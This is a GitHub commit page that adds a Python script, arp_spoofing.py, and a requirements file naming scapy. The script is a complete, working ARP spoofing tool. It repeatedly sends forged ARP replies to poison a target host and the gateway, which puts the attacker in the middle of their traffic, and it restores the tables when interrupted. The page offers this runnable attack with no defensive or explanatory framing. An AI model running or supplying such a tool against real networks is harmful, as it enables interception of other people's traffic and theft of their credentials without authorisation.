Skip to content

Commit 9b74fa8

Browse files
authored
Initial commit
1 parent ad8be21 commit 9b74fa8

File tree

2 files changed

+48
-0
lines changed

2 files changed

+48
-0
lines changed

Diff for: arp_spoofing.py

+47
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# Javi Ferrándiz | 13/02/2023 | github - https://github.com/javisys
2+
import scapy.all as scapy
3+
import time
4+
5+
def get_mac(ip):
6+
arp_req = scapy.ARP(pdst = ip)
7+
broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
8+
arp_req_broadcast = broadcast / arp_req
9+
answered_list = scapy.srp(arp_req_broadcast, timeout = 5, verbose = False)[0]
10+
11+
return answered_list[0][1].hwsrc
12+
13+
#print(scapy.ls(scapy.ARP))
14+
15+
def spoofing(target_ip, spoof_ip):
16+
paquete = scapy.ARP(op = 2, pdst = target_ip, hwdst = get_mac(target_ip), psrc = spoof_ip)
17+
18+
scapy.send(paquete, verbose = False)
19+
20+
def restart(destination_ip, src_ip):
21+
destination_mac = get_mac(destination_ip)
22+
src_mac = get_mac(src_ip)
23+
paquete = scapy.ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = src_ip, hwsrc = src_mac)
24+
scapy.send(paquete, verbose = False)
25+
26+
27+
28+
target_ip = "192.168.1.132" # Enter the target IP
29+
gateway_ip = "192.168.1.1" # Enter the gateway's IP
30+
31+
32+
try:
33+
sent_packets_count = 0
34+
while True:
35+
spoofing(target_ip, gateway_ip)
36+
spoofing(gateway_ip, target_ip)
37+
sent_packets_count = sent_packets_count + 2
38+
print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
39+
time.sleep(2) # Waits for two seconds
40+
41+
except KeyboardInterrupt:
42+
print("\nCtrl + C pressed.............Exiting")
43+
restart(target_ip, gateway_ip)
44+
restart(gateway_ip, target_ip)
45+
print("[*] ARP Spoof Stopped")
46+
47+

Diff for: requirements.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
scapy 2.5.0

0 commit comments

Comments
 (0)